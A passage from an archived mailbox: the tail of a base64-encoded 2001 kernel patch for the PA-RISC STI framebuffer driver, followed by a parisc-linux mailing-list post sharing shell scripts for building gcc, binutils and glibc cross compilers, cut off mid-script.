aXpldG1wKTsKKwlzaXplID0gU1RJX1UzMihzaXpldG1wKTsKIAotCWJtb2RlX3N0aV9kdW1wX3Jv
bShyYXcpOworLy8JYm1vZGVfc3RpX2R1bXBfcm9tKHJhdyk7IC8vIE5PIERBVEEuLi4uCiAKLQlz
aXplID0gU1RJX1UzMihyYXctPmxhc3RfYWRkcikgKyAxOwotCXNpemUgPSAxMjgqMTAyNDsKLS8v
CURQUklOVEsoKCJzaXplICUwOGx4XG4iLCBzaXplKSk7CiAvLwlEUFJJTlRLKCgiZm9udF9zdGFy
dCAlMDh4XG4iLCBTVElfVTMyKHJhdy0+Zm9udF9zdGFydCkpKTsKLS8vCWtmcmVlKHJhdyk7CiAJ
cmF3ID0ga21hbGxvYyhzaXplLCBHRlBfS0VSTkVMKTsKIAlpZighcmF3KQogCQlnb3RvIG91dF9l
cnI7Ci0Jc3RpX3JvbV9jb3B5KGFkZHJlc3MsIDAsIHNpemUtMSwgcmF3KTsKKwlzdGlfcm9tX2Nv
cHkoYWRkcmVzcywgc2l6ZSwgcmF3KTsKIAogCWJtb2RlX3N0aV9jb29rX2ZvbnRzKGNvb2tlZCwg
cmF3KTsKIAorCXN0aS0+cmVnaW9uc1swXSA9IGhwYTsJLyogPz8gKi8KKwkJCiAJaWYoU1RJX1Uz
MihyYXctPnJlZ2lvbl9saXN0KSkgewogCQlzdHJ1Y3Qgc3RpX3JvbV9yZWdpb24gKnJlZ2lvbiA9
CiAJCQkoKHZvaWQgKilyYXcpICsgU1RJX1UzMihyYXctPnJlZ2lvbl9saXN0KSAtIDM7CiAKIC8v
CQlEUFJJTlRLKCgicmVnaW9uX2xpc3QgJTA4eFxuIiwgU1RJX1UzMihyYXctPnJlZ2lvbl9saXN0
KSkpOwogCQkKLQkJcmV0LT5yZWdpb25zWzFdID0gU1RJX1UzMihyZWdpb25bMV0ucmVnaW9uKTsK
LQkJcmV0LT5yZWdpb25zWzJdID0gU1RJX1UzMihyZWdpb25bMl0ucmVnaW9uKTsKLQkJcmV0LT5y
ZWdpb25zWzNdID0gU1RJX1UzMihyZWdpb25bM10ucmVnaW9uKTsKLQkJcmV0LT5yZWdpb25zWzRd
ID0gU1RJX1UzMihyZWdpb25bNF0ucmVnaW9uKTsKLQkJcmV0LT5yZWdpb25zWzVdID0gU1RJX1Uz
MihyZWdpb25bNV0ucmVnaW9uKTsKLQkJcmV0LT5yZWdpb25zWzZdID0gU1RJX1UzMihyZWdpb25b
Nl0ucmVnaW9uKTsKLQkJcmV0LT5yZWdpb25zWzddID0gU1RJX1UzMihyZWdpb25bN10ucmVnaW9u
KTsKKwkJc3RpLT5yZWdpb25zWzFdID0gU1RJX1UzMihyZWdpb25bMV0ucmVnaW9uKTsKKwkJc3Rp
LT5yZWdpb25zWzJdID0gU1RJX1UzMihyZWdpb25bMl0ucmVnaW9uKTsKKwkJc3RpLT5yZWdpb25z
WzNdID0gU1RJX1UzMihyZWdpb25bM10ucmVnaW9uKTsKKwkJc3RpLT5yZWdpb25zWzRdID0gU1RJ
X1UzMihyZWdpb25bNF0ucmVnaW9uKTsKKwkJc3RpLT5yZWdpb25zWzVdID0gU1RJX1UzMihyZWdp
b25bNV0ucmVnaW9uKTsKKwkJc3RpLT5yZWdpb25zWzZdID0gU1RJX1UzMihyZWdpb25bNl0ucmVn
aW9uKTsKKwkJc3RpLT5yZWdpb25zWzddID0gU1RJX1UzMihyZWdpb25bN10ucmVnaW9uKTsKIAl9
CiAKIAlhZGRyZXNzID0gdmlydF90b19waHlzKHJhdyk7CiAKLSNpZiAwCisjaWYgMQogCURQUklO
VEsoKCJpbml0X2dyYXBoICUwOHggJTA4eFxuIgogCSAgICAgICAic3RhdGVfbWdtdCAlMDh4ICUw
OHhcbiIKIAkgICAgICAgImZvbnRfdW5wbXYgJTA4eCAlMDh4XG4iCkBAIC0xOTIsMzEgKzE5Nywz
NiBAQAogCSAgICAgICBTVElfVTMyKHJhdy0+ZW5kX2FkZHIpLCBTVElfVTMyKHJhdy0+ZW5kX2Fk
ZHJfbTY4aykgKSApOwogI2VuZGlmCiAKLQlyZXQtPmluaXRfZ3JhcGggPSBibW9kZV9zdGlfY29v
a19mdW5jdGlvbigoKHZvaWQgKilyYXcpK1NUSV9VMzIocmF3LT5pbml0X2dyYXBoKS0zLAorCXN0
aS0+aW5pdF9ncmFwaCA9IGJtb2RlX3N0aV9jb29rX2Z1bmN0aW9uKCgodm9pZCAqKXJhdykrU1RJ
X1UzMihyYXctPmluaXRfZ3JhcGgpLTMsCiAJCQkJCSAgICAoU1RJX1UzMihyYXctPnN0YXRlX21n
bXQpIC0KIAkJCQkJICAgICBTVElfVTMyKHJhdy0+aW5pdF9ncmFwaCkpLzQpOwogCiAKLQlyZXQt
PmZvbnRfdW5wbXYgPSBibW9kZV9zdGlfY29va19mdW5jdGlvbigoKHZvaWQgKilyYXcpK1NUSV9V
MzIocmF3LT5mb250X3VucG12KS0zLAorCXN0aS0+Zm9udF91bnBtdiA9IGJtb2RlX3N0aV9jb29r
X2Z1bmN0aW9uKCgodm9pZCAqKXJhdykrU1RJX1UzMihyYXctPmZvbnRfdW5wbXYpLTMsCiAJCQkJ
CSAgICAoU1RJX1UzMihyYXctPmJsb2NrX21vdmUpIC0KIAkJCQkJICAgICBTVElfVTMyKHJhdy0+
Zm9udF91bnBtdikpLzQpOwogCi0JcmV0LT5ibG9ja19tb3ZlID0gYm1vZGVfc3RpX2Nvb2tfZnVu
Y3Rpb24oKCh2b2lkICopcmF3KStTVElfVTMyKHJhdy0+YmxvY2tfbW92ZSktMywKKwlzdGktPmJs
b2NrX21vdmUgPSBibW9kZV9zdGlfY29va19mdW5jdGlvbigoKHZvaWQgKilyYXcpK1NUSV9VMzIo
cmF3LT5ibG9ja19tb3ZlKS0zLAogCQkJCQkgICAgKFNUSV9VMzIocmF3LT5zZWxmX3Rlc3QpIC0K
IAkJCQkJICAgICBTVElfVTMyKHJhdy0+YmxvY2tfbW92ZSkpLzQpOwogCi0JcmV0LT5pbnFfY29u
ZiA9IGJtb2RlX3N0aV9jb29rX2Z1bmN0aW9uKCgodm9pZCAqKXJhdykrU1RJX1UzMihyYXctPmlu
cV9jb25mKSwKKwlzdGktPmlucV9jb25mID0gYm1vZGVfc3RpX2Nvb2tfZnVuY3Rpb24oKCh2b2lk
ICopcmF3KStTVElfVTMyKHJhdy0+aW5xX2NvbmYpLAogCQkJCQkgIFNUSV9VMzIocmF3LT5zZXRf
Y21fZW50cnkpIC0KIAkJCQkJICBTVElfVTMyKHJhdy0+aW5xX2NvbmYpKTsKIAotCXJldC0+cm9t
ID0gY29va2VkOwotCXJldC0+cm9tLT5yYXcgPSByYXc7CisJc3RpLT5yb20gPSBjb29rZWQ7CisJ
c3RpLT5yb20tPnJhdyA9IHJhdzsKIAotLyogWFhYWFgKLQlyZXQtPmZvbnQgPSAoc3RydWN0IHN0
aV9yb21fZm9udCAqKSB2aXJ0X3RvX3BoeXMoc3RpX3NlbGVjdF9mb250KHJldC0+cm9tKS0+cmF3
KTsKLSovCi0JcmV0dXJuIHJldDsKKwlzdGktPmZvbnQgPSBzdGlfc2VsZWN0X2ZvbnQoc3RpLT5y
b20sIGJtb2RlX3N0aV9zZWFyY2hfZm9udCktPnJhdzsKKyAgICAgICAgc3RpLT5mb250X3dpZHRo
ID0gU1RJX1U4KHN0aS0+Zm9udC0+d2lkdGgpOworCXN0aS0+Zm9udF9oZWlnaHQgPSBTVElfVTgo
c3RpLT5mb250LT5oZWlnaHQpOworCXN0aS0+Zm9udCA9IChzdHJ1Y3Qgc3RpX3JvbV9mb250ICop
IHZpcnRfdG9fcGh5cyhzdGktPmZvbnQpOworCQkJIAorcHJpbnRrKCJVc2luZyBmb250IGF0ICUw
OGx4LCB3PSVkLCBoPSVkXG4iLAorICAgICAgICAgICAgKHVuc2lnbmVkIGxvbmcpc3RpLT5mb250
LCBzdGktPmZvbnRfd2lkdGgsIHN0aS0+Zm9udF9oZWlnaHQpOwogCisJcmV0dXJuIHN0aTsKKwog
b3V0X2VycjoKIAlpZihyYXcpCiAJCWtmcmVlKHJhdyk7CkBAIC0yMjQsNTIgKzIzNCw0IEBACiAJ
CWtmcmVlKGNvb2tlZCk7CiAKIAlyZXR1cm4gTlVMTDsKLX0KLQotCi1zdHJ1Y3Qgc3RpX3N0cnVj
dCAqIF9faW5pdCAKLWJtb2RlX3N0aV90cnlfcm9tKHVuc2lnbmVkIGxvbmcgYWRkcmVzcywgdW5z
aWduZWQgbG9uZyBocGEpCi17Ci0Jc3RydWN0IHN0aV9zdHJ1Y3QgKnN0aSA9IE5VTEw7Ci0JdTE2
IHNpZzsKLQkKLQkvKiBpZiB3ZSBjYW4ndCByZWFkIHRoZSBST00sIGJhaWwgb3V0IGVhcmx5LiAg
Tm90IGJlaW5nIGFibGUKLQkgKiB0byByZWFkIHRoZSBocGEgaXMgb2theSwgZm9yIHJvbWxlc3Mg
c3RpICovCi0JaWYocGRjX2FkZF92YWxpZCgodm9pZCopYWRkcmVzcykpCi0JCXJldHVybiBOVUxM
OwotCi0JcHJpbnRrKCJmb3VuZCBwb3RlbnRpYWwgU1RJIFJPTSBhdCAlMDhseFxuIiwgYWRkcmVz
cyk7Ci0KLQlzaWcgPSBsZTE2X3RvX2NwdShnc2NfcmVhZHcoYWRkcmVzcykpOwotCi0JaWYoKHNp
ZyYweGZmKSA9PSAweDAxKSB7Ci0JCXN0aSA9IGJtb2RlX3N0aV9yZWFkX3JvbShhZGRyZXNzKTsK
LQl9Ci0KLQlpZihzaWcgPT0gMHgwMzAzKSB7Ci0JCXByaW50aygiU1RJIHdvcmQgbW9kZSBST00g
YXQgJTA4bHgsIGlnbm9yZWRcbiIsCi0JCSAgICAgICBhZGRyZXNzKTsKLQotCQlzdGkgPSBOVUxM
OwotCX0KLQotCWlmKCFzdGkpCi0JCXJldHVybiBOVUxMOwotCi0Jc3RpX2luaXRfZ2xvYl9jZmco
c3RpLCBocGEsIGFkZHJlc3MpOwotCi0Jc3RpX2luaXRfZ3JhcGgoc3RpKTsKLQotCS8vc3RpX2lu
cV9jb25mKHN0aSk7Ci0jaWYgIWRlZmluZWQoU0VSSUFMX0NPTlNPTEUpCQotCXsgCi0JICAgIGV4
dGVybiB2b2lkIHBkY19jb25zb2xlX2RpZSh2b2lkKTsgIAotCSAgICBwZGNfY29uc29sZV9kaWUo
KTsgCi0JfQotI2VuZGlmCi0JCi0vKiBYWFhYWFgJCi0JdGFrZV9vdmVyX2NvbnNvbGUoJnN0aV9j
b24sIDAsIE1BWF9OUl9DT05TT0xFUy0xLCAxKTsKLSovCi0JcmV0dXJuIHN0aTsKIH0KSW5kZXg6
IHN0aWNvbi13bW9kZS5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IC9ob21lL2N2cy9wYXJpc2MvbGlu
dXgvZHJpdmVycy92aWRlby9zdGkvc3RpY29uLXdtb2RlLmMsdgpyZXRyaWV2aW5nIHJldmlzaW9u
IDEuNQpkaWZmIC11IC1yMS41IHN0aWNvbi13bW9kZS5jCi0tLSBzdGljb24td21vZGUuYwkyMDAx
LzAyLzEzIDIxOjQwOjQ2CTEuNQorKysgc3RpY29uLXdtb2RlLmMJMjAwMS8wMi8xMyAyMzowNzow
OQpAQCAtNzEsNDEgKzcxLDE4IEBACiAKIAogc3RhdGljIGludCBfX2luaXQgCi1zdGlfc2VhcmNo
X2ZvbnQoc3RydWN0IHN0aV9jb29rZWRfcm9tICpyb20sCi0JCWludCBoZWlnaHQsIGludCB3aWR0
aCkKK3dtb2RlX3N0aV9zZWFyY2hfZm9udChzdHJ1Y3Qgc3RpX2Nvb2tlZF9yb20gKnJvbSwgaW50
IGhlaWdodCwgaW50IHdpZHRoKQogewogCXN0cnVjdCBzdGlfY29va2VkX2ZvbnQgKmZvbnQ7CiAJ
aW50IGkgPSAwOwogCQogCWZvcihmb250ID0gcm9tLT5mb250X3N0YXJ0OyBmb250OyBmb250ID0g
Zm9udC0+bmV4dF9mb250LCBpKyspIHsKLSN3YXJuaW5nIHVzZSBTVElfVTgoKSB3aXRoIGJ5dGUt
bW9kZSBST01zICEhCiAJICAgIGlmKChmb250LT5yYXctPndpZHRoID09IHdpZHRoKSAmJiAoZm9u
dC0+cmF3LT5oZWlnaHQgPT0gaGVpZ2h0KSkKIAkJCXJldHVybiBpOwogCX0KIAlyZXR1cm4gMDsK
IH0KIAotCi1zdHJ1Y3Qgc3RpX2Nvb2tlZF9mb250ICogX19pbml0Ci1zdGlfc2VsZWN0X2ZvbnQo
c3RydWN0IHN0aV9jb29rZWRfcm9tICpyb20pCi17Ci0Jc3RydWN0IHN0aV9jb29rZWRfZm9udCAq
Zm9udDsKLQlpbnQgaTsKLQotCWlmIChmb250X3dpZHRoICYmIGZvbnRfaGVpZ2h0KQotCQlmb250
X2luZGV4ID0gc3RpX3NlYXJjaF9mb250KHJvbSwgZm9udF9oZWlnaHQsIGZvbnRfd2lkdGgpOwot
Ci0JZm9yIChmb250ID0gcm9tLT5mb250X3N0YXJ0LCBpID0gZm9udF9pbmRleDsKLQkgICAgZm9u
dCAmJiAoaSA+IDApOwotCSAgICBmb250ID0gZm9udC0+bmV4dF9mb250LCBpLS0pOwotCi0JaWYg
KGZvbnQpCi0JCXJldHVybiBmb250OwotCWVsc2UKLQkJcmV0dXJuIHJvbS0+Zm9udF9zdGFydDsK
LX0KLQotCiBzdHJ1Y3Qgc3RpX3N0cnVjdCAqIF9faW5pdAogd21vZGVfc3RpX3JlYWRfcm9tKHN0
cnVjdCBzdGlfc3RydWN0ICpzdGksIHVuc2lnbmVkIGxvbmcgYWRkcmVzcywgdW5zaWduZWQgbG9u
ZyBocGEpCiB7CkBAIC0xMjQsNyArMTAxLDcgQEAKIAlpZighcmF3KQogCQlnb3RvIG91dF9lcnI7
CiAKLQlzdGlfcm9tX2NvcHkoYWRkcmVzcywgMCwgc2l6ZSwgcmF3KTsKKwlzdGlfcm9tX2NvcHko
YWRkcmVzcywgc2l6ZSwgcmF3KTsKIAogCWlmICghd21vZGVfc3RpX2Nvb2tfZm9udHMoY29va2Vk
LCByYXcpKSB7CiAJCXByaW50aygiTm8gZm9udCBmb3VuZCBmb3IgU1RJIGF0ICUwOGx4XG4iLCBh
ZGRyZXNzKTsKQEAgLTE0NCw3ICsxMjEsNyBAQAogCXN0aS0+cm9tID0gY29va2VkOwogCXN0aS0+
cm9tLT5yYXcgPSByYXc7CiAJCi0Jc3RpLT5mb250ID0gc3RpX3NlbGVjdF9mb250KHN0aS0+cm9t
KS0+cmF3OworCXN0aS0+Zm9udCA9IHN0aV9zZWxlY3RfZm9udChzdGktPnJvbSwgd21vZGVfc3Rp
X3NlYXJjaF9mb250KS0+cmF3OwogCXN0aS0+Zm9udF93aWR0aCA9IHN0aS0+Zm9udC0+d2lkdGg7
CiAJc3RpLT5mb250X2hlaWdodCA9IHN0aS0+Zm9udC0+aGVpZ2h0OwogCXN0aS0+Zm9udCA9IChz
dHJ1Y3Qgc3RpX3JvbV9mb250ICopIHZpcnRfdG9fcGh5cyhzdGktPmZvbnQpOwpJbmRleDogc3Rp
Y29yZS5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IC9ob21lL2N2cy9wYXJpc2MvbGludXgvZHJpdmVy
cy92aWRlby9zdGkvc3RpY29yZS5jLHYKcmV0cmlldmluZyByZXZpc2lvbiAxLjQKZGlmZiAtdSAt
cjEuNCBzdGljb3JlLmMKLS0tIHN0aWNvcmUuYwkyMDAxLzAyLzA0IDIxOjIyOjU5CTEuNAorKysg
c3RpY29yZS5jCTIwMDEvMDIvMTMgMjM6MDc6MDkKQEAgLTIxNiwxNSArMjE2LDExIEBACiAKIAog
dm9pZCBfX2luaXQKLXN0aV9yb21fY29weSh1bnNpZ25lZCBsb25nIGJhc2UsIHVuc2lnbmVkIGxv
bmcgb2Zmc2V0LAotCSAgICAgdW5zaWduZWQgbG9uZyBjb3VudCwgdm9pZCAqZGVzdCkKK3N0aV9y
b21fY29weSh1bnNpZ25lZCBsb25nIGJhc2UsIHVuc2lnbmVkIGxvbmcgY291bnQsIHZvaWQgKmRl
c3QpCiB7Ci0JdW5zaWduZWQgbG9uZyBvcmdjb3VudDsKLQlvcmdjb3VudCA9IGNvdW50OworCXVu
c2lnbmVkIGxvbmcgb3JnY291bnQgPSBjb3VudDsKIAogCS8qIHRoaXMgc3RpbGwgbmVlZHMgdG8g
YmUgcmV2aXNpdGVkIChzZWUgYXJjaC9wYXJpc2MvbW0vaW5pdC5jOjI0NiAhICovCi0JYmFzZSAr
PSBvZmZzZXQ7Ci0JCiAJd2hpbGUgKGNvdW50ID49IDQpIHsKIAkJY291bnQgLT0gNDsKIAkJKih1
MzIgKilkZXN0ID0gZ3NjX3JlYWRsKGJhc2UpOwpAQCAtMzQ5LDYgKzM0NSwyNyBAQAogfQogCiAK
K3N0cnVjdCBzdGlfY29va2VkX2ZvbnQgKiBfX2luaXQKK3N0aV9zZWxlY3RfZm9udChzdHJ1Y3Qg
c3RpX2Nvb2tlZF9yb20gKnJvbSwKKwkgICAgaW50ICgqc2VhcmNoX2ZvbnRfZm5jKSAoc3RydWN0
IHN0aV9jb29rZWRfcm9tICosaW50LGludCkgKQoreworCXN0cnVjdCBzdGlfY29va2VkX2ZvbnQg
KmZvbnQ7CisJaW50IGk7CisKKwlpZiAoZm9udF93aWR0aCAmJiBmb250X2hlaWdodCkKKwkJZm9u
dF9pbmRleCA9IHNlYXJjaF9mb250X2ZuYyhyb20sIGZvbnRfaGVpZ2h0LCBmb250X3dpZHRoKTsK
KworCWZvciAoZm9udCA9IHJvbS0+Zm9udF9zdGFydCwgaSA9IGZvbnRfaW5kZXg7CisJICAgIGZv
bnQgJiYgKGkgPiAwKTsKKwkgICAgZm9udCA9IGZvbnQtPm5leHRfZm9udCwgaS0tKTsKKworCWlm
IChmb250KQorCQlyZXR1cm4gZm9udDsKKwllbHNlCisJCXJldHVybiByb20tPmZvbnRfc3RhcnQ7
Cit9CisKKwogLyoKIHN0YXRpYyB1bnNpZ25lZCBsb25nIHN0aV9hZGRyZXNzOwogc3RhdGljIHVu
c2lnbmVkIGxvbmcgc3RpX2hwYTsKQEAgLTQxNSwxMCArNDMyLDEwIEBACiAJc3RpID0gJnN0aV9y
b21bbnVtX3N0aV9yb21zXTsKIAlzdGktPmxvY2sgPSBTUElOX0xPQ0tfVU5MT0NLRUQ7CiAKLQlp
ZiAoKHNpZyYweGZmKSA9PSAweDAxKSB7Ci0JCXByaW50aygiU1RJIGJ5dGUgbW9kZSBST00gYXQg
JTA4bHggaWdub3JlZFxuIiwKLQkJCWFkZHJlc3MpOwotCQlyZXR1cm4gTlVMTDsgLyogWFhYIFNU
SUxMIFRPRE8gWFhYICovCisJaWYgKChzaWcgJiAweGZmKSA9PSAweDAxKSB7CisJCXByaW50aygi
U1RJIGJ5dGUgbW9kZSBST00gYXQgJTA4bHgsIGhwYT0lMDhseFxuIiwKKwkJICAgICAgIGFkZHJl
c3MsIGhwYSk7CisJCXN0aSA9IGJtb2RlX3N0aV9yZWFkX3JvbShzdGksIGFkZHJlc3MsIGhwYSk7
CiAJfQogCiAJaWYgKHNpZyA9PSAweDAzMDMpIHsKSW5kZXg6IHN0aWNvcmUuaAo9PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
ClJDUyBmaWxlOiAvaG9tZS9jdnMvcGFyaXNjL2xpbnV4L2RyaXZlcnMvdmlkZW8vc3RpL3N0aWNv
cmUuaCx2CnJldHJpZXZpbmcgcmV2aXNpb24gMS40CmRpZmYgLXUgLXIxLjQgc3RpY29yZS5oCi0t
LSBzdGljb3JlLmgJMjAwMS8wMi8wOSAwMToxMzoxOQkxLjQKKysrIHN0aWNvcmUuaAkyMDAxLzAy
LzEzIDIzOjA3OjA5CkBAIC0yNzksMTYgKzI3OSwxOSBAQAogCiAvKiBoZWxwZXIgZnVuY3Rpb25z
ICovCiBzdHJ1Y3Qgc3RpX3N0cnVjdCAqc3RpX2luaXRfcm9tcyh2b2lkKTsKLXZvaWQgc3RpX3Jv
bV9jb3B5KHVuc2lnbmVkIGxvbmcgYmFzZSwgdW5zaWduZWQgbG9uZyBvZmZzZXQsCi0JICAgIHVu
c2lnbmVkIGxvbmcgY291bnQsIHZvaWQgKmRlc3QpOwordm9pZCBzdGlfcm9tX2NvcHkodW5zaWdu
ZWQgbG9uZyBiYXNlLCB1bnNpZ25lZCBsb25nIGNvdW50LCB2b2lkICpkZXN0KTsKIGludCAgc3Rp
X2luaXRfZ2xvYl9jZmcoc3RydWN0IHN0aV9zdHJ1Y3QgKnN0aSwKIAkgICAgdW5zaWduZWQgbG9u
ZyByb21fYWRkcmVzcywgdW5zaWduZWQgbG9uZyBocGEpOwogdm9pZCBzdGlfZHVtcF9nbG9iY2Zn
KHN0cnVjdCBzdGlfZ2xvYl9jZmcgKmdsb2JfY2ZnKTsKK3N0cnVjdCBzdGlfY29va2VkX2ZvbnQg
KnN0aV9zZWxlY3RfZm9udChzdHJ1Y3Qgc3RpX2Nvb2tlZF9yb20gKnJvbSwKKwkgICAgaW50ICgq
c2VhcmNoX2ZvbnRfZm5jKSAoc3RydWN0IHN0aV9jb29rZWRfcm9tICosaW50LGludCkgKTsKIAot
CiAvKiBzdGktd21vZGUuYzogKi8KLXN0cnVjdCBzdGlfc3RydWN0ICogd21vZGVfc3RpX3JlYWRf
cm9tKHN0cnVjdCBzdGlfc3RydWN0ICpzdGksCitzdHJ1Y3Qgc3RpX3N0cnVjdCAqd21vZGVfc3Rp
X3JlYWRfcm9tKHN0cnVjdCBzdGlfc3RydWN0ICpzdGksCiAJICAgIHVuc2lnbmVkIGxvbmcgYWRk
cmVzcywgdW5zaWduZWQgbG9uZyBocGEpOwogCisvKiBzdGktYm1vZGUuYzogKi8KK3N0cnVjdCBz
dGlfc3RydWN0ICpibW9kZV9zdGlfcmVhZF9yb20oc3RydWN0IHN0aV9zdHJ1Y3QgKnN0aSwKKwkg
ICAgdW5zaWduZWQgbG9uZyBhZGRyZXNzLCB1bnNpZ25lZCBsb25nIGhwYSk7CiAKICNlbmRpZgkv
KiBTVElDT1JFX0ggKi8KSW5kZXg6IHN0aWZiLmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogL2hvbWUv
Y3ZzL3BhcmlzYy9saW51eC9kcml2ZXJzL3ZpZGVvL3N0aS9zdGlmYi5jLHYKcmV0cmlldmluZyBy
ZXZpc2lvbiAxLjQKZGlmZiAtdSAtcjEuNCBzdGlmYi5jCi0tLSBzdGlmYi5jCTIwMDEvMDIvMDkg
MDE6MTM6MTkJMS40CisrKyBzdGlmYi5jCTIwMDEvMDIvMTMgMjM6MDc6MDkKQEAgLTEzMSw3ICsx
MzEsNyBAQAogfQogCiBzdGF0aWMgaW50Ci1zdGlfYmxhbmsoaW50IGJsYW5rX21vZGUsIGNvbnN0
IHN0cnVjdCBmYl9pbmZvICppbmZvKQorc3RpX2JsYW5rKGludCBibGFua19tb2RlLCBzdHJ1Y3Qg
ZmJfaW5mb19nZW4gKmluZm8pCiB7CiAJcmV0dXJuIDA7CiB9CkBAIC0xNDcsNyArMTQ3LDYgQEAK
IAlzZXRfcGFyOglzdGlfc2V0X3BhciwKIAlnZXRjb2xyZWc6CXN0aV9nZXRjb2xyZWcsCiAJc2V0
Y29scmVnOglzdGlfc2V0Y29scmVnLAotCXBhbl9kaXNwbGF5OglOVUxMLAogCWJsYW5rOgkJc3Rp
X2JsYW5rLAogCXNldF9kaXNwOglzdGlfc2V0X2Rpc3AKIH07CkBAIC0xOTEsNiArMTkwLDcgQEAK
IAlwcmludGsoS0VSTl9JTkZPICJmYiVkOiAlcyBmcmFtZSBidWZmZXIgZGV2aWNlXG4iLAogCQlH
RVRfRkJfSURYKGZiX2luZm8uZ2VuLmluZm8ubm9kZSksIGZiX2luZm8uZ2VuLmluZm8ubW9kZW5h
bWUpOwogCisJcHJpbnRrKCIlczogRklOSVNIRURcbiIsIF9fRlVOQ1RJT05fXyk7CiAJcmV0dXJu
IDA7CiB9CiAK

--------------Boundary-00=_OEYPOZ9VOG491GDHLIGZ--




From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] building a devel branch gcc
Date: Wed, 14 Feb 2001 12:00:08 +0000
Lines: 191
Approved: news@gmane.org
Message-ID: <20010214120008.Q1374@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619865 15616 80.91.229.3 (22 Nov 2014 01:31:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 14 05:00:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2325A4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Feb 2001 05:00:25 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C1E98B005; Wed, 14 Feb 2001 12:00:08 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:10246

Hi,
  I recently built a devel branch gcc that was capable of building
working 64 bit kernels.  I'm posting the scripts I used in the hope
that they might be useful.  They are heavily based on info from Alan
Modra.

These scripts probably don't do exactly what you want, but should
be a useful starting point.  More likely, you want to build
x86 to parisc32 and parisc64 cross-compilers.  Hoepfully Matt
will do a new xc package when he gets back in a few days.

I checked out binutils, glibc, linux, and gcc -r devel on x86, and
used Matts latest xc to build a devel gcc x86 to parisc32 xc, and
used that to build a native parisc gcc.  I then copied
that on to my A500, and used it to build a parisc32 to parisc64
gcc cross-compiler.  That cross-compiler was then used to build a
64 bit kernel.  The kernel was tested by booting it on the A500
and then rebuilding the kernel.

The A500 was running Matts latest nfsroot tarball, with bits
(such as glibc) upgraded to ones in the new-debs dir on pehc.

So, the script to run x86 to build the native parisc32 compiler:

========================== cut =================================
#!/bin/sh
# From Alan Modra, 12th Feb 2001
# parameterised by Richard Hirst

export PATH=/bin:/usr/bin

BUILDDIR=/mnt/parisc/alan
BINUTILSSRC=/mnt/parisc/xc/source/binutils
GCCSRC=/mnt/parisc/xc/source/gcc
GLIBCSRC=/mnt/parisc/xc/source/glibc
PARISCLINUXSRC=/mnt/parisc/xc/source/linux
TMPINSTALLDIR=/mnt/parisc/alan-install

rm -rf $TMPINSTALLDIR
rm -rf $BUILDDIR
mkdir $BUILDDIR
cd $BUILDDIR
mkdir build
cd build
mkdir bin
echo build latest cross binutils, `date`
cd bin
$BINUTILSSRC/configure --host=i686-linux --prefix=/usr \
--target=hppa-linux --enable-targets=hppa64-linux --disable-nls
make
echo dont forget those links
echo Now su, make install, and exit, exit
bash
cd ..
echo build latest cross compiler, `date`
mkdir devel
cd devel
$GCCSRC/configure --host=i686-linux --target=hppa-linux \
--prefix=/usr --enable-shared --disable-nls --enable-languages=c
make
echo Now su, make install, and exit, exit
bash
cd ..
echo build glibc, assumes linux includes available, `date`
mkdir glibc
cd glibc
$GLIBCSRC/configure --prefix=/usr/hppa-linux --build=i686-linux \
--host=hppa-linux --target=hppa-linux \
--with-headers=$PARISCLINUXSRC/include --disable-profile \
--without-cvs --enable-add-ons
make
echo Now su, make install, and exit, exit
echo You also want to do something like (from memory):
echo     cd /usr/hppa-linuc/include
echo     ln -s $PARISCLINUXSRC/include/asm .
echo     ln -s $PARISCLINUXSRC/include/linux .
bash
cd ..
echo cross compile native gcc, `date`
mkdir xc
cd xc
$GCCSRC/configure --build=i686-linux --host=hppa-linux \
--target=hppa-linux --prefix=/usr --disable-shared --disable-nls \
--enable-languages=c
make
make prefix=$TMPINSTALLDIR install
echo Done, `date`

# copy stuff from $TMPINSTALLDIR to /tftpboot
# then hop across to do a bootstrap natively.

========================== cut =================================


and now the script run on the A500 to produce the 32 to 64 bit
xc.  The make palo at the end fails in palo, because it tries
to use the hppa64-linux- tools.  hack the palo Makefiles, or
move your vmlinux to x64 to run palo on it.


========================== cut =================================
#!/bin/sh

echo ">>> starting, `date`"

# Update and rebuild parisc xc, etc.

TOP=/build/xc
MACH=hppa-linux
DEST=$TOP/parisc64
PATH=$TOP/parisc64/bin:/bin:/usr/bin

# cvs update source

if false; then
cd $TOP/source
cd binutils
cvs update .
cd ../glibc
cvs update .
cd ../gcc
cvs update -r devel .
cd ../linux
cvs update .
cd ../palo
cvs update .
fi

# clean binary tree

cd $TOP
rm -rf parisc64
mkdir parisc64

# clean build tree

cd $TOP
rm -rf build-64
mkdir build-64

# configure and build binutils

echo ">>> configure and build binutils, `date`"
cd $TOP/build-64 && rm -rf binutils && mkdir binutils && cd binutils
$TOP/source/binutils/configure --host=$MACH --prefix=$DEST \
		--disable-nls hppa64-linux
make
make install

# configure and partially build gcc

